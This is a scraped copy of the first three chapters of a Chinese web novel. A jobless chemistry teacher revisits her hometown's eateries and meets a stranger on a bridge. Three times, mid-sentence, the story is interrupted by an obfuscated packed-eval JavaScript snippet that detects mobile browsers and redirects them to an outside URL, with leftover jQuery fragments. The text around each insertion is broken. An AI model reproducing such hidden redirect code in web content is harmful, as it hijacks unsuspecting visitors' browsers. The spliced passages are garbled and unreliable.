《吃点儿好的》
1. 卤肉面
雨越来越大了,落在柏油路上飞溅起的水花,让路上都雾蒙蒙的。
清瘦的少年冲进雨里,把自家倒在人行道边的立牌捡了回来。
“妈,雨太大了,旁边卖水果的摊儿也往里撤了。”
把旧而不破的木头立牌放在门边控水,看见自己湿漉漉的脚印踩在了地上,少年从门后拽出了一个被压扁的纸箱子放在地上,两只脚都在上面蹭了好几下。沾湿的衣服贴在他细瘦的肩胛骨上,他觉得难受,左右摇着肩膀,还摇着头,沾了水的小狗似的。
饭馆儿不大,墙面虽然干净,上面贴着的大菜单也老了,上面印的卤猪肉都脱了色,更像是抹了辣椒油的腊猪肉,旁边的香菇油菜更惨一点,绿色一点都没了,乱糟糟的一团,全靠文字显示身份。
八张桌子,四张是木头的,四张是铁架上搭了白色的三合板桌面,椅子倒都是一样的,更显得这店年纪比少年还大了。
浓浓的卤肉香气掺在潮湿的空气里往外飘,热乎乎的牛肉早就连着筋被炖到酥烂,被钩子放在盆里的时候还轻轻颤抖。
捞着肉的就是这家店的老板,也是少年的妈妈,抽空看了自己的儿子一眼,她说:
“别摇头晃脑了,赶紧把头发擦擦。”
少年抓起桌子上的两张纸巾随便在脑袋上摩挲了两下,对着他妈嘿嘿傻笑了一下说:
“我把椅子收了地扫了,咱们就走呗。”
今天晚上家里有事儿,他们店里可不接生意了。
“您好,现在……还做饭么?”
雨落的背景声里传来了很好听的声音。
少年回过头,看见了一把透明的伞,像一朵花开在了遮天雨幕里,上面的水滴折射着外面晦暗的天光,竟然让人有了一种明媚的错觉,也可能明媚的不是伞,而是打着伞的人。
个子不高的年轻女人应该是二十岁上下的年纪,穿了一件淡黄色的裙子,她的眼睛很大,脸是细瓷似的白,不知道为什么,她看着少年,少年就觉得她是在对自己笑。
少年掐了一下自己的大腿,让他呲牙咧嘴的疼。
不是做梦,是真有一个又甜又可爱的小姐姐在他面前站着呢。
“开、开!”第一个字还是下意识说的,第二个字的落音儿已经很坚定了。
年轻的女人真的笑了,她回身收伞,说:“我要一碗卤肉面。”
“好的好的!”少年什么都答应完了,才一溜烟儿跑进了后面的厨房里,小声问他妈:
“妈,卤肉面还能做么?”
自己家的傻儿子把客人都迎进来了,难不成自己还得赶出去?也不知道刚刚谁说要走了。低头看看早就熄了火的灶台,女老板放下捞肉的钩子说:
“还有点卤牛肉,卤蛋也有,要吃卤牛肉面的话就有。”
少年立刻欢欢喜喜地出去了,外面桌前,那个年轻的女孩儿已经坐下了,伞被她用自备的袋子装了起来,一点水都没流到地上。
“有卤牛肉面,要卤蛋么?”说话的时候还隔着一张桌子一把椅子,少年两只手压在椅子背上,顶着乱糟糟的湿发越发像一只小狗,一点也没有刚刚干活利落的样子了。
“卤蛋?要的。”
少年呆头呆脑,全靠神经记忆在问:“葱花香菜酸豆角,要么?”
“都要。”
灶上再次点起了火,煤气从灶里挤出来热烈地燃烧,“呜呜”地像是风声。
这家店卖的面不是最近流行的板面也不是市面上常见的拉面,而是细白的挂面,细得像是龙须面,在这旺火大灶上一不留神就能煮烂了。
老板煮面的手艺自然是很精到的,火候一到就把面捞出来过凉,再用大长筷子一卷,放在碗底就是乖乖顺顺整整齐齐的一团。
她煮面的时候,少年也没闲着,找出了半暖瓶的热水,给那个客人倒了一杯茶。
“谢谢。”女人的食指和中指轻叩在桌面上,连着致谢的声音都是一板一眼的。
少年注意到她右手的食指上有茧子,放下茶壶,他才恍然,这位客人不是雨天里从哪里跑来的妖精或者仙子,只是个来吃饭的寻常客人。
毕竟妖精和神仙都不会有茧子。
可对方看向自己的时候,少年又忍不住傻呵呵地笑了,真甜,像他小时候吃的奶糖一样又甜又可爱。
卤牛肉切成了小块,上面撒了香菜葱花和酸豆角,老板把她的傻儿子叫进了厨房,吩咐说:
“酸豆角重新收冰箱里,一会儿客人走了你把外面收拾出来,我在这把肉捞完了,明天还得把卤汤打一下。”
“好咧妈!”
面汤也是在灶上重新热起来的,等火候的老板回头看一眼自己的儿子说:
“看你干活挺勤快的,怎么一学习就那么懒呢?”
语气里,那是十足的恨铁不成钢。
呼呼呼!风来了雨来了,把刚刚那满脸的灿烂给吹没了,少年扁了扁嘴,收好了酸豆角,再把案台擦干净就钻出了厨房。
“回来!”
老板把卤肉面递了出去,该上菜了。
细细的面吃起来不如其他的面劲道,却在短短时间里吸足了卤肉和面汤的味道,每一口下去都滋味十足,又不失面本身的香气。
一口面,一口肉,间或喝一口热腾腾的面汤,外面的风和雨就仿佛一下子成了另一个世界的,与自己再没什么关系了。
葱花香菜,是不惧任何场合的舞娘,在这一碗面汤里,它们提了味,解了腻,酸豆角是压场的台柱,醇美的肉香沾了它细微的酸辣,再麻木不仁的舌头都要为它叫好。
至于肉……
它是最先被吃完的。
再没有什么比这更好的赞美了吧?
年轻的客人长长地出了一口气,好像一些潮湿与粘稠的东西都被这一碗面给彻底驱赶了。
吃面的人正岁月静好,做面的人却在七情上脸。
“我一说考试成绩你就耷拉着脸给我看,怎么了?我还说错了?!你要真想孝顺我就好好上课,那化学卷子,就四十分,能够吃啊还是够喝啊?”
没人注意到,在老板说“化学卷子四十分”的时候,外面那个食客的手顿了一下。
少年不乐意了,可能平时被这样说了,他会低着头厚脸皮应付过去,可当着那个客人的面,他的“尊严”似乎也“尊贵”了,说到底,都是半大少年的荷尔蒙的作祟罢了。
“妈,你别说了。”
“我怎么不说了?”店老板一只手叉着腰,捞肉的钩子一下砸回了锅里,是火气被点燃的前奏。
她儿子哼了一声,过了一会儿,梗着脖子说:
“我爸都说了,要是我学不好就开接着开这个卤肉店呗。”
老板冷笑:“开卤肉店?他说着话你倒是记得了?你要真听话你怎么就只听这一句啊?他让你好好学习你怎么不听啊?!”
惨被镇压的少年哼哼唧唧了两声,替他妈把装了卤肉的盆子摊平,嘴里赌气说:
“反正我以后就开咱家的小饭馆,学不学的都一样!”
“你!”
当妈妈的看着自己的儿子,她自己的身量就不矮,一米六五的样子,她儿子才十三四岁,已经比她略高了。
这么大的孩子,真是打也不是,骂也不是,管来管去,管得自己一脑门子的官司。
少年把自己的妈顶得没话说,也不觉得高兴,这种争吵,没人会觉得高兴。
店里仅有的那个客人吃完了,他走上去结账,也没刚才只顾着看人的傻样子了。
“一碗卤牛肉面,一个卤蛋,二十一。”
滴答,手机里传来了钱到账的声音。
结了账的女人却没动,只是抬起头来看着这个不爱学习的少年。
“你们这家店开了很多年了吧?”
“那是!”说起自己家的店,少年满脸写着骄傲,“我爷爷开的店,传给了我妈,以后就是我的。”
客人“哦”了一声,眼睛看向厨房里。
“老板在厨房做什么呀?我在外面的时候就闻见了肉香味儿。”
“今天晚上我们家有事儿,不开了,我妈卤肉捞出来包起来,该给别的饭店送去的得送去,卤汤得放凉了,明天再打汤。”
“立志”继承家业拒绝好好学习的少年是真的对自己妈妈的活计很了解,看见这位客人有些感兴趣,他双手比划了一下说:
“打汤就是得打掉卤汤里的渣渣,捞干净的汤倒点白酒放一晚上,明天先把油捞出来,然后把夹在油下面的血沫子啥的都捞出来扔了,再把卤油倒回去,然后卤汤里再加上熬好的高汤,加肉,就能接着卤了。”
卤肉的门道可一点都不少,尤其是他们这种开了很多年的老店,那真是一辈手艺传一辈,细节处的讲究多了去了,少年说起来头头是道,看来想继承这个店还真不只是口头说说。
“卤油?为什么卤肉的时候还要有油呢?”客人抛出了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729318|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的问题,她看向这个少年,看得这个少年又羞涩了起来。
“肯定得用油啊,有了油才香,好多料还得提前用油炒呢!”
少年脸庞微微泛红。
客人却抬着头继续问:“那这又是为什么呢?为什么用油会更香呢?为什么要用油炒调料呢?”
唉?这是什么问题?
少年有点懵了,因为,那个……他爷爷就是这么教他妈的呀!
那,那还能是为什么呢?哪有那么多为什么呢?
“因为油是有机溶剂。”年轻的女人看着他的眼睛,笑了一下,在少年的眼里,这次的笑容和之前的很不一样,让他恍惚像只见了猫的耗子,“各种植物香料里含有的芳香物质,芳香物质的主要成分是有机物……估计你还没有学过,但是你可以记住,之所以用热油提前炒香料,就是希望高温环境下让香料里的芳香物质更好地溶解到油里,丰富肉的味道。”
少年已经听晕了。
客人却还没放过他:
“为什么要静置一晚上再处理卤肉汤,你知道么?好吧,你不知道。因为静置能够让分子质量不同的液体分层,水最重,其次是要被扔掉的部分,本质是比水轻比油重的混合杂质,然后是油。有机溶剂和液体的萃取都是高中化学课本的知识,你不知道很正常,那你知道为什么卤肉要捞出来之后立刻包起来么?”
小狗似的少年已经成了个小木头狗。
“因为分子运动,卤肉里水分子会跑到空气中,让牛肉的表面失去水分,所以在一般情况下,肉得泡在卤汤里,拿出来之后就要包起来,此外也是因为瘦肉里含有铁离子,暴露在空气中会逐渐氧化变黑。”
卤肉的香气还飘荡在小小的餐馆里,年轻的女人深吸了一口气说:
“我们能闻到气味儿也是因为分子运动,这个在初中的化学课本里应该有。至于氧化反应,那能说的就更多了,用完的菜刀为什么要擦干净?也想怕水会让菜刀上的铁发生氧化反应,也就是生锈。”
“你现在应该还在初中,刚刚接触化学知识,如果你上课认真听讲……只要你做到上课认真听讲,就能把化学考试成绩提升到八十分以上,你也不会听不懂我在说什么了。也就是说,如果一个人的化学成绩比你好,他来做和你一样的事情,卤肉也好,在厨房帮忙也好,都会知道更多的‘为什么’,知道了‘为什么’也就会知道出了问题该怎么办。”
对啊,我不是在家里的店帮忙吗?怎么,就上起化学课来了?
还有,这,刚刚还是个小仙女的,怎么,怎么一下子就比我班主任还凶?
在铺天盖地的化学知识里,少年好像终于找回了自己,再看着眼前的这个年轻女孩儿,他的荷尔蒙水平下去了,脑袋几乎要大起来了。
可对方的气势让他觉得自己就是捧着一张空白的卷子站在教室里,竟然一句反驳的话都说不出来。
“化学不是没用的知识,学不学,真的不一样。”
说完,抽掉伞上罩着的塑料袋收起来,她走到餐馆门口,撑开了雨伞,又走进了接天的雨幕里。
留下小小的少年被他自己的亲妈奚落:“你看看你,考了个四十分,人家一问你,你啥都不知道,就这水平,肉你都卤不好!”
“妈!”少年的声气比刚刚弱了何止一半儿,他回头看看厨房,再转过头去,早不见了那道淡黄色的人影。
离开了卤肉馆子一百米远,沈小甜叹了一口气,亲和力满分的小脸上,是个带着懊恼的自嘲笑容,一点也不温柔可亲。
“职业病,你这就是职业病,你都已经失业了,怎么职业病就改不了啊!”
“不过他才初中,化学就才考了四十分,换只猪去课上睡觉都比他考得多吧?”
她说话的语气很刻薄,比雨里吹来的风还冷,比砸在伞上的水滴还重,和她的脸形成了巨大的反差。
五天前,今年二十六岁的沈小甜还是个要订婚的准新娘,三天前,她还是一个学校高二的化学老师。
现在什么都没有了。
一个失恋又失业的人,是有刻薄的权利的。
虽然那家卤肉面真的很好吃,和她记忆里的味道几乎完全一样。
回味着卤肉面的余味,沈小甜心里是这样想的。
沈小甜,名字甜,长得甜,声音甜,连身高似乎都甜,理所应当的,所有人都以为她是个傻白甜,是个温柔可爱“小仙女”,只有她自己知道,她不是。
2. 炸串儿
自觉一点也不甜的沈小甜在雨里撑着伞慢慢走,脚上的运动鞋湿了一半儿,她也没想打个车回酒店。
说起来,这座叫沽市的小城其实是她的老家,她在这儿出生,一直长到了十四岁,深深的小巷子,野草在缝隙里钻出来的石阶,她从小走到大。
刚刚那家荆家卤肉馆斜对面现在是一家商场,在二十多年前是“二轻子弟小学”,全称是“第二轻工业制造厂子弟小学”。
荆伯伯一开始是纯卖卤肉的,从别人的铺面边上隔出了半个窗子,卖卤猪肉、卤鸡腿、卤猪蹄……供给附近来来回回接孩子的家长,也多是制造厂的工人们,他店门口到学校门口的夹道也一直是个自发形成的小市场。
不过,那是沈小甜上小学之前的事儿了,九十年代的时候国企改制,第二轻工业制造厂的上级企业进行了产业剥离,原本的大工厂没了,取而代之的是几家民营企业。
二轻子弟小学这个名字倒是存在了更久,直到沈小甜小学三年级的时候,学校才改名叫“沽市第二实验小学”,一间企业的变化影响了一所学校,也影响了原本专心卖肉的荆伯伯,因为他的对象——在学校里做后勤陈阿姨在改制中下岗了,两口子一咬牙,干脆拿出全部积蓄买下了整个铺面,开起了餐馆,从纯卖卤肉变成了卖卤肉面和卤肉饭。
光顾“荆家卤肉店”的也从偶尔打打牙祭的国企职工、附近老师,变成了拉着孩子来下馆子的家长们。
上小学四年级的时候,沈小甜的外公被他原来的学校返聘,沈小甜就成了个“钥匙儿童”,有时候她外公中午不能回来给她做饭了,沈小甜就会跑到荆家卤肉店里去买一碗卤肉面或者卤肉饭。
她从小就是小小的一点儿,白白润润的,尤其是小学一直到毕业都是个白软团子模样,大人们都很喜欢她,在店里的木头长凳上坐下,脚都踩不到地,也不耽误她娴熟地说:
“陈阿姨,我要卤鸡腿的饭,加卤蛋。”
荆伯伯家那个五十多岁也有黑粗长辫子的陈阿姨看起来有点凶,其实人很好,偶尔会摸摸她的脸,再给她加一碟花生米或者一个卤鸡爪。
现在想想,大概也是某种意义上的“出卖色相”了。
人回到故乡,就像是打开了一本老相册,眼中所见的,都能在脑海里成了拉动记忆的一根线,沈小甜还记得荆家从一开始用的面就是挂面,那些年兰州拉面来势汹汹,不少沽市原本的当地家常面馆都给冲得干不下去了,荆家还是坚持用挂面,因为陈阿姨说吃他们家面的大多是家长带了孩子,挂面好消化,不涨胃。
后来这用了挂面的卤肉面就成了荆家的特色。
甚至,连他家面里什么时候加了酸豆角,沈小甜都依稀有点印象,像是隔着一层纱看景似的。
走着,走着,沈小甜看着头顶的路牌愣了一下。
“珠桥”。
回过头去,她才意识到自己是走过了一座桥,一座架在河上的桥。
沈小甜快步走回到了桥上,看着雨水落在河里,河两岸的树都被洗刷出了翠意,她实在是忍不住惊讶。
“这个地方……”
她记得这个桥的名字,以前这里是个石桥,而且桥下是没用水的,据说是为了保周边农村的灌溉,把原本流进护城河里的水改了道,在沈小甜小时候,这河道里被附近的住户占得满满的,晒衣服,晾被子,种菜甚至养鸡,鸡屎和积了的肥都被堆在河道边的土坡下面,夏天走在岸边全是臭气。
那些年沽市想弄个什么创建卫生城市,这条河的问题就是个老大难,沈小甜中午上学放学的时候没少看见有关部门的工作人员跟当地住户扯皮,拔菜赶鸡,甚至直接开车来清理鸡屎,都是指标不治本的笨法子。
这种乱糟糟的地方从来就是小孩子的“秘密花园”,尽管家长和学校三令五申不准孩子们来河道上玩,可是春夏时节,总有小孩子跑来这里,要么是在积水的水洼里找蝌蚪,要么就是摘花偷果,沾了一身的泥点子。
就连沈小甜这个从小到大的“乖孩子”都被同学带着去看过传说中的“蘑菇圈”。
可说到底,这地方还是乱的,给来来往往的人添了很多麻烦,最惨的是晚上,老路灯有跟没有一样,骑自行车从岸上经过,一不留神滑下去,说不定就正好砸进了鸡屎坑里……沈小甜她姥爷的那个学校就有个年轻人就经历了这么一遭,家访回来了路上遭遇了人生的暗算,两年都听不得一个“鸡”字。
就这么一个地方,竟然彻底没了,就连旁边那些搭建的棚户房子也成宽阔的柏油路,靠河的一边是绿化带,另一边是个看起来也不那么新的小区。
桥是新的,路是新的,路灯也很高大,一看就很好用。
撑着伞的女孩儿在河上看风景,过桥的人也在看着她。
一辆摩托车快到沈小甜身边的时候突然停住了。
戴着头盔的男人转了两下手把,拿下了头盔,雨水瞬间就把他的头发打湿了,他举起头盔聊胜于无地挡了一下,转头对站在桥边的沈小甜喊道:
“嘿,那边那个,过来帮个忙!”
他叫第二遍的时候,沈小甜才回过神儿。
“你在叫我?”
男人似乎气了一下:“不叫你,我叫水里的鱼呢?”
隔着雨帘,两边的人看着都是模糊的,沈小甜转身走过来,看着男人狼狈的样子,抬高了手臂帮他遮了雨。
“我的这个破车,也不知道哪儿进水了,熄火了怎么也动不了。”
半红半白中间有一道银灰色间隔摩托车很漂亮,挨了男人一巴掌,让人看着都觉得委屈。
沈小甜问:“您是想让我帮您推车么?”
“不是不是。”男人摆摆手,“就你这个小身板儿车推你还差不多,我是……我是手机没电了,能不能借你手机我打个电话找人帮我推车?”
男人挺高的,他为了将就雨伞略略弯了腰,就这样,刚刚一米六的沈小甜也不过是平视了他的喉结,再往上是有胡渣的下巴。
这个要求不过分,沈小甜看看他湿透了的手套,掏出手机。
“您说吧。”
男人看着她的动作,笑了一下,报出了一串儿手机号,电话打过去关机,男人又拍了一下他的摩托。
“下雨天,八成睡觉呢。那什么……”他的语气有些不好意思,“谢谢啦,我……”
他拎起手里的头盔要往头上戴,刚翻过来,沈小甜和他就一起看见了从头盔里流出来的水。
沉默,沉默。
沈小甜先开口了:“我觉得您这个头盔戴不戴也一样了。”
“是,就是水泼变慢炖了。”
听男人轻松的语气,仿佛被“水泼”被“慢炖”的不是他的脑袋。
他抬手擦了擦脸,叹了一口说:“真是谢谢你了,前面下了桥就是我朋友开的店,我自己推着车过去吧。”
语气竟然比一开始的时候好了很多。
沈小甜看看四下里的雨,再看看那个被淋到尴尬的头盔,说:
“也不远,我撑伞把你送过去吧。”
男人也没很坚决
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729319|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地拒绝。
于是两个人隔着一辆摩托车,辛苦地打着一把伞往前走。
沈小甜心无旁骛,男人所说的地方确实很近,下了桥不过五十多米就到了地方。
“小乔麻辣烫”的门口,男人招呼沈小甜进店坐坐。
不知不觉间,时间已经快到是下午五点了,从吃完那碗面到现在不知不觉也过去了两个小时。
走到了没风雨的地方,沈小甜才觉得自己的骨头缝儿里都透着潮气。
“你坐着,我找小乔姐给你做碗麻辣烫谢你,一路帮我打伞过来也不容易。”
男人的话音还没落,有一个四十多岁的女人从后厨房走了出来,随着门帘被掀开,一股油香味儿也跟着飘了出来。
女人秀气的脸上带着笑,身材犹称得上窈窕,看见那个男人,笑着说:
“前两天刚听说你回来了,怎么你这下着大雨还跑我这儿来了?”
男人指了指沈小甜,说:“我走桥上的时候车坏了,遇着朋友撑伞把我送过来,我说想在这儿请人家吃点儿好的。”
女人再看沈小甜,说话更和气了:“姑娘啊,想吃什么?炸串麻辣烫,想吃什么我给你做什么。”
通常在别处吃的麻辣烫,都是要客人先拿了小框子挑拣些自己爱吃的东西一块儿煮出来,再配了麻汁蒜汁辣椒油,甚至各种红汤、金汤、酸辣汤的汤底,这家店的骨汤麻辣烫却已经明码标价五块五一碗。
屋里也没有让人挑拣的架子,只是侧贴着厨房门口放了个透明门的大冰箱,里面放了些塑料盒。
荤的有红肠、鸡肝、鸡心、鱿鱼、午餐肉、掌中宝、五花肉……素的是茄子、豆角、尖椒、金针菇、豆皮卷……怎么看都不像是会下锅煮成麻辣烫的。
也确实不是,这都是用来炸的串儿,冰箱旁边的墙上都贴了价格,荤菜一块五到三块一串,最贵的是大鱿鱼一整条十块钱,素菜略便宜些。
还有炸饼,可以做抹酱的,也可以刷一层蜜烤成焦黄色。
沈小甜也不客气:“我要一碗麻辣烫,微麻微辣。”
说着话,她已经自己打开了冰箱,拿出了四五串鸡肝,其余每种荤菜都拿了一两根,素菜则只拿了茄子和豆皮卷。
这家的麻辣烫里的配菜都是素的,油菜、海带、木耳、豆腐泡,不用指望几根炸出来的菜平衡荤素。
要问沈小甜怎么知道?她第一次来吃的时候,“小乔姐”还没结婚呢。
“小乔姐”收了串儿拿去后厨炸了,沈小甜在一张桌子旁边坐下等菜,男人坐在了斜对面的另一张桌子旁,他的腿很长,斜伸出去能到桌对面的椅子下面。
“吃完热乎乎的,就什么都不想了。”
沈小甜看他:“你不用吃点东西吗?”
“不用不用,我晚上跟朋友约了喝酒。”男人摆摆手,钥匙往兜儿里一揣,他又站了起来,手里拎着那个进了水的头盔。
“你吃完了只管走,小乔姐就把账记我这儿了,刚刚谢谢你啊。”
沈小甜默默看着他,在他一只脚已经迈出门的时候,突然说:
“刚刚在桥上你那么凶地叫我,是不是以为我要自杀?”
“当啷!”是男人的后抬起来的脚踢在了门槛上。
沈小甜安安稳稳坐在那儿点点头,她果然猜对了。
头盔是故意淋湿的,为了让自己一起下桥,手机号码是肯定打不通的,再往前说,他的车应该也没坏。
“应该是我谢谢你,大好人。”
语气十分塑料。
3. 麻辣烫
“滴答”。
从屋檐缝隙里聚拢的雨水凝成了一滴,滴在了摩托车翘起的红屁股上。
男人抬起手,用右手食指的指节蹭了蹭自己的鼻子,另一只拿着头盔的手还顺便撑着餐馆的塑料门帘。
湿风拂过,门帘细细碎碎地响。
他终于说:“那什么,麻辣烫你好好吃,小乔姐家的麻辣烫是真做的不错,十好几年的老招牌了,炸串儿也好吃,你敞开了吃……”
坐在屋里的那位姑娘却不肯放过他,从头顶的发丝儿到脚尖尖儿都洋溢着某种微妙的喜悦,又抬头对他说:
“把车骑走呗,好好的一辆车,就因为一个误会大雨天被扔路边了,多可怜啊。”
男人终于回过头来,又看向她。
隔着对方湿乎乎的发丝,沈小甜终于勉强看清了他的长相——一张比普通好看多了几分落拓气的脸,哦,还要再多几分的好看,年纪仿佛是比自己大,又让人觉得犹是个少年。
拿着头盔的男人对着她笑了一下,就在沈小甜以为他会有些无奈或者尴尬地说些什么的时候,他对沈小甜摆了一下手,接着,头盔利落地盖在了头上。
有雨水从里面流出来,勾了了他的脸庞轮廓,好吧,大概这对男人来说不重要。
他骑上几分钟前才在屋檐下停好的摩托车,很快,发动机的声音就传到了小馆子里。
小馆子里回传来了一声:“拜拜呀,大好人!”
大好人彻底走远了。
遇到一个好人还是很让人开心的,沈小甜深吸了一口气,已经闻到了除了油香之外的另一种香气,是夹着香辛料的排骨汤的气味儿,麻辣烫的汤底已经煮开了。
炸串儿是先端上来的,四方方的不锈钢盘子上面裹了一个塑料袋,炸好的串串码在上面,每一个都已经被抹上了足足的酱料。
沈小甜吃了一口炸鸡肝,记忆深处的酱汁味道裹着绵软的鸡肝立刻占据了她的口腔,微微的甜,恰到好处的辣,浓浓的咸香……
年轻的女人低着头,从一旁的纸巾盒里抽出了一张,摁住了自己的鼻子。
炸串儿里自然没有放芥末。
只是那一瞬间,沈小甜有一种错觉,仿佛她抬起头,就会有个戴着眼镜的老爷子坐在对面,很神秘地对她说:
“我今天在路上看见了一只小麻雀,叽叽喳喳叽叽喳喳没完,我跟她说了一句话,她就乖了,你猜我说了啥?”
然后,自己就会抬着眼睛看他,嘴里还恋恋不舍地叼着炸串儿,含含糊糊地说:
“外公你本事真大了,还能跟麻雀说话了。”
“嘿嘿!”老人会对她眨眨眼睛,然后笑着说,“我对小麻雀说啊,我给你吃炸串,就堵住你的嘴啦!”
哎哟呵?说谁是小麻雀呢?
那时候那个毛头毛脑的小麻雀就会气得头发都炸起来,一把抢过好几串肉,说什么都不给老人吃了。
老人也不会生气,只会在对着她嘴边的酱料指指点点说:“你还说你不是小麻雀?都长了麻点子了!”
又抽了一张纸巾,擦掉了嘴边可能有的一点酱,沈小甜长出了一口气,后背倚在了凉凉的椅背上。
她知道自己冷静下来了。
拿起炸鱿鱼,对着脸庞比划了一下,小时候她总觉得炸鱿鱼很大,比她的脸还大,现在她觉得那是自己小时候没见识,看什么都大。
也看什么,都觉得会永远陪在自己身边。
说是没见识,可“没见识”有时候就意味着被保护得很好。
就在这个时候,小乔姐端着麻辣烫从后厨房里出来,放在了她的面前。
“辣椒醋都自己放,还想吃什么跟姐姐说,今天呀,陆辛那家伙请客,咱们不用跟他客气!”
原来那个“大好人”叫陆辛啊,沈小甜点点头,对着容颜姣好的女老板笑了一下:
“谢谢小乔姐。”
“不客气……”店里又来了其他的客人,可能是潮乎乎的天气里人们总想吃点儿能出汗的东西,沈小甜嗦了麻辣烫里第一口红薯粉再抬起头,饭馆里已经多了两桌客人。
一桌两个人都点了麻辣烫,另一桌两个人坐着,另有一个人开了冰箱门在挑炸串,隔几秒就要征求一下同伴的意见。
“鸡心要不要?”
“今天没有大红肠啊!”
热闹起来的空气包围着沈小甜,和麻辣烫特有的热乎劲儿一起。
往嘴里塞一口海带,让口腔暂时摆脱了骨汤和炸物共建出的满足感,沈小甜又喝了一口汤。
小乔姐的麻辣烫就是有这个好处,因为汤底的味道调的开胃,就算是再不喜欢吃菜的孩子,在吃的时候都免不了吃上两口。
以前沈小甜的外公还真诚建议过小乔姐,说她可以再卖那种一整碗的骨汤涮青菜,专门对付不爱吃菜的孩子,把那时候才刚从南方回来的小乔姐都逗笑了。
“你们吃着菜好吃,那是因为一大碗里只有这几口,全是菜的话有几个人愿意吃哦?谁都知道烧鸡好吃,谁愿意一顿只吃烧鸡?凡事得搭配着来,跟男人配女人一个道理呀。”
那年的小乔姐喜欢上了一个跑运输的男人,那个男人也喜欢她,只要不跑车就来店里陪着她烫菜炸串儿。
沈小甜人生里第一次领略到女人怎才会变成一朵散发着芬芳的花——在她喜欢的人面前。
哦对了,有这般“感悟”沈小甜才十岁,学校门口新开的借书店是她常去的地方,如果不是借书店的老板去炒股结果把店都赔没了,以沈小甜那时对港台文学的热爱,她说不定后来就会成为一个文科生。
过了一年多,小乔姐和那个男人结婚了,又过了两年,沈小甜被她妈接走之前,小乔姐又和那个男人离婚了,孩子归她。
现在看,爱过又婚变过的小乔姐依然有一朵花的风姿,为了男人也好,为了孩子也好,为了自己也好,也终究是在过去的十几年里一直美丽着。
看着她在店里忙来忙去,沈小甜又渐渐开心起来,总之,小乔姐麻辣烫真是好东西,从前能让她多吃菜,现在能让她多开心。
驱寒的效果也是从外向里的,连心都没放过。
旁边的那桌的客人的麻辣烫很快也端上桌了,他们吃得可比沈小甜豪迈得多。
两个人狼吞虎咽地吃着,居然还能分出嘴来聊天。
“呼,小乔姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729320|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家的麻辣烫也是怪了啊,不放辣椒也能吃出一身汗来。”
“我就这么吃着,就觉得自己后脖子要出汗了……”接话的人在嗦红薯粉的间隙还抽空指了指自己的脖子。
恰好小乔姐又端着东西出来了,一开始说话的那人抬起头来说:
“小乔姐,你家的麻辣烫里是放了啥呀,吃两口就让我出汗了。”
小乔姐只笑:“今天下雨,我炖汤底的时候多放了块姜。”
沈小甜听她这么说,差点没忍住笑出来。
多放的可不只是姜呀,姜里的姜油和姜烯酚确实能产生辛辣的感觉,可这汤里真正唱了重头戏的是胡椒和花椒,除了辣椒山葵里大量含有的硫氰酸盐之外,胡椒里的胡椒碱和花椒里的花椒素都是在汤里真正起作用的辛辣物质,它们在汤里跳舞。
从小乔姐嘴里问到了“答案”,那位客人笑了,说:“小乔姐对我们真好,就是这么多年不肯在麻辣烫里加肉。”
小乔姐嗔了一声:“加了肉,汤可就浑了,到时候你们再怪我手艺不如以前了,我找谁哭去?”
这话说得有道理,叼着炸鸡心的沈小甜默默点头。
荆家卤肉家的小孩儿说他们家往卤肉锅里续汤用的都是高汤,所谓的高汤就是把骨和肉里的成分通过充分熬煮转移到了汤水里,包括了蛋白质和油脂,因为是要吃卤出来的肉,需要足够香料里的有机物被充分溶解,所以,他们把“高汤”和“卤油”当宝贝。
小乔姐的汤是用来喝的,并不需要油脂来溶解更多香辛料里的有机物,恰到好处的骨汤搭配香辛料才有开胃的效果,对她来说,加了太多肉的汤就是“浑了”。
“怎么样?吃得还好吧?”在店里看了一圈儿,小乔姐可没忘了这个被陆辛特意关照过的客人。
沈小甜愉快地点头:“味道一直很好,谢谢您。”
外面的雨停了,一整天没见的太阳在西边斜斜洒了一点光出来,小里小气地给还没散尽的乌云镀了一层金边儿。
沈小甜顺着“小乔麻辣烫”靠着的那条大路走了一段儿,到了个小三岔口拐了进去,高高的老梧桐叶子上还存着雨水呢,冷不丁地就往人的天灵盖上砸。
用一只手捂着自己的头顶,走过了三棵梧桐树,沈小甜在一个铁门边上停下了脚步。
本来应该是灰色的大铁门被锈蚀得厉害,只有锁头周围还存着旧色。
深吸一口气,沈小甜从裙子的口袋里掏出了一个钥匙串儿,两把钥匙和几颗粉的紫的透明塑料珠儿串在一块儿,看着又旧又可怜。
捏起其中的一把钥匙,插到锁眼儿里,沈小甜忍不住诧异门竟然这么容易就打开了。
站在门口,她以为自己会看见一个乱到不堪入目的院子,没想到院子里也算整齐,杂草没有多少,刚刚下过大雨,泥地里也没多少积水。
